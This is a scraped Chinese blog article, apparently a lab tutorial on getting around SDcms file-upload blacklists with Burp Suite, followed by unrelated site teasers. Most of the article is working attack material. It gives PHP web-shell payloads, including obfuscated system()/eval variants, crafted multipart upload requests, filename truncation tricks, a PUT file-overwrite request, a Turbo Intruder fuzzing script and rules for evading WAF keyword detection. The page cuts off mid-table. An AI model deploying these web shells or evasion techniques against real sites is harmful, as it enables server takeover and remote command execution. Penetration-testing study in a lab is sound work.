news 2026/5/19 10:33:02

别再只会改后缀了!用Burp Suite深度测试SDcms文件上传漏洞的5种绕过姿势

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
别再只会改后缀了!用Burp Suite深度测试SDcms文件上传漏洞的5种绕过姿势

Burp Suite高阶实战:SDcms文件上传漏洞的5种绕过技术与方法论

在渗透测试的武器库中,文件上传漏洞始终是最具破坏力的攻击向量之一。当安全工程师面对一个看似固若金汤的黑名单过滤系统时,如何用Burp Suite这把"瑞士军刀"进行精准打击?本文将以SDcms靶场为实验环境,演示五种鲜为人知的绕过技术,同时构建一套可复用的高级测试框架。

1. 环境搭建与基础侦查

1.1 靶场环境配置

SDcms靶场模拟了典型的PHP黑名单过滤机制,其防御特点包括:

  • 后缀名黑名单(.php/.asp/.jsp等)
  • 内容关键词过滤(phpinfo/eval等)
  • 基础文件头校验(GIF/PNG等)

使用Docker快速部署测试环境:

docker pull vulhub/sdcms:latest docker run -d -p 8080:80 --name sdcms_lab vulhub/sdcms

1.2 Burp Suite初始配置

建议采用以下Proxy设置优化测试流程:

User Options -> Connections -> 勾选"Support invisible proxy" Project Options -> HTTP -> 取消勾选"Automatically update Content-Length"

关键提示:在测试前务必关闭Burp的"Intercept"功能,改为使用Logger++扩展记录所有流量,避免中断连续测试过程。

2. 黑名单绕过核心技术矩阵

2.1 魔法数字伪装术

通过添加文件头欺骗校验机制是最经典的绕过方式,但多数测试者仅停留在GIF89a层面。实际上不同场景下这些组合更有效:

文件类型魔术字节适用场景
PNG\x89PNG\x0D\x0A\x1A\x0A严格校验文件头的系统
ZIPPK\x03\x04解析器漏洞利用
PDF%PDF-1.4文档管理系统

在Burp Repeater中构造混合payload:

POST /upload.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="file"; filename="exploit.png" Content-Type: image/png %PDF-1.4 <?php system($_GET['cmd']); ?>

2.2 多重编码混淆技术

当遇到关键词过滤时,可采用三级编码组合:

  1. HTML实体编码

    &lt;?php echo `$_GET[x]`; ?&gt;
  2. UTF-7编码

    +ADw?php system(+ACQAXw-GET+AFsAJw-cmd+ACcAXQ)+ADs ?+AD4-
  3. Hex编码拼接

    <?php $a = "\x73\x79\x73\x74\x65\x6d"; // system $a($_GET['x']); ?>
在Burp Intruder中使用"Cluster bomb"攻击模式,同时测试多种编码组合:

POST /upload.php HTTP/1.1 ... file=§1§&type=§2§

Payload set 1: [原始代码, HTML实体, UTF-7] Payload set 2: [无编码, Base64, Hex] ## 3. 路径穿越与存储型攻击 ### 3.1 00截断的现代变种 传统%00截断在PHP5.3后失效,但可通过这些方式实现类似效果: 1. **换行符截断**: ```http filename="exploit.php\x0A.jpg"
  1. 多重分号

    filename="exploit.php;;.jpg"
  2. URL编码组合

    filename="exploit.php%26%2300%3B.jpg"

3.2 二级存储写入技术

当直接上传受限时,可采用"先传后改"策略:

  1. 上传合法图片文件获取存储路径

  2. 使用Burp Repeater修改历史请求:

    PUT /uploads/2023/09/legit.jpg HTTP/1.1 Content-Type: text/plain <?php include('/proc/self/environ'); ?>
  3. 触发服务器端缓存机制使修改生效

4. 解析漏洞的深度利用

4.1 非常规后缀组合

测试这些易被忽略的后缀组合:

exploit.php.png exploit.php%20 exploit.php%0d%0a.jpg exploit.pHp exploit.php.

使用Burp Intruder的"Pitchfork"模式批量测试:

POST /upload.php HTTP/1.1 ... filename=§exploit§.§ext§

4.2 内容类型混淆

修改Content-Type头配合非常规扩展名:

实际内容声明Content-Type测试效果
PHP代码image/svg+xml绕过部分WAF
Shellapplication/octet-stream避开内容检测
JS代码text/plain利用解析器特性

5. 自动化测试框架构建

5.1 Burp宏配置

创建自动化测试流程:

  1. Project options -> Sessions中添加新宏:

    • 录制登录过程
    • 设置触发条件为"检测到/login页面"
  2. 配置Session Handling Rules

    { "scope": { "url_scope": "target.com/upload" }, "actions": [ { "type": "run_macro", "macro": "auto_login" } ] }

5.2 Turbo Intruder脚本

针对大规模fuzz测试,使用此Python脚本:

def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=100, pipeline=False) for word in open('/path/to/payloads.txt'): engine.queue(target.req, word.rstrip()) def handleResponse(req, interesting): if '200 OK' in req.response or 'upload success' in req.response: table.add(req)

将以下payload保存为文本文件:

<?php $x=chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);$x($_GET[0]); ?> GIF89a <?php eval/*test*/('$_=chr(99).chr(100).chr(32).chr(47);system($_);'); ?> <?php echo '<?php system($_GET[0]);?>'; ?>

防御对抗与检测规避

6.1 流量混淆技术

使用Burp的Match and Replace规则:

原始内容替换内容作用
eval(\x65\x76\x61\x6c(绕过关键词检测
system${"syst"."em"}拆分函数名
<?php
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/19 10:32:00

【免费下载】 中兴机顶盒ADB开启工具及算号器:解锁调试新境界

中兴机顶盒ADB开启工具及算号器&#xff1a;解锁调试新境界 【下载地址】中兴机顶盒ADB开启工具及算号器 中兴机顶盒ADB开启工具及算号器 项目地址: https://gitcode.com/open-source-toolkit/727fe 项目介绍 在智能电视和机顶盒的世界里&#xff0c;ADB&#xff08;An…

作者头像 李华
网站建设 2026/5/19 10:31:57

使用curl命令直接测试Taotoken的OpenAI兼容接口是否通畅

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 使用curl命令直接测试Taotoken的OpenAI兼容接口是否通畅 基础教程类&#xff0c;面向需要在无SDK环境或快速排错的开发者&#xff…

作者头像 李华
网站建设 2026/5/19 10:30:06

如何在5分钟内彻底解决Mac NTFS读写难题:终极免费开源方案

如何在5分钟内彻底解决Mac NTFS读写难题&#xff1a;终极免费开源方案 【免费下载链接】Free-NTFS-for-Mac Nigate: An open-source NTFS utility for Mac. It supports all Mac models (Intel and Apple Silicon), providing full read-write access, mounting, and managemen…

作者头像 李华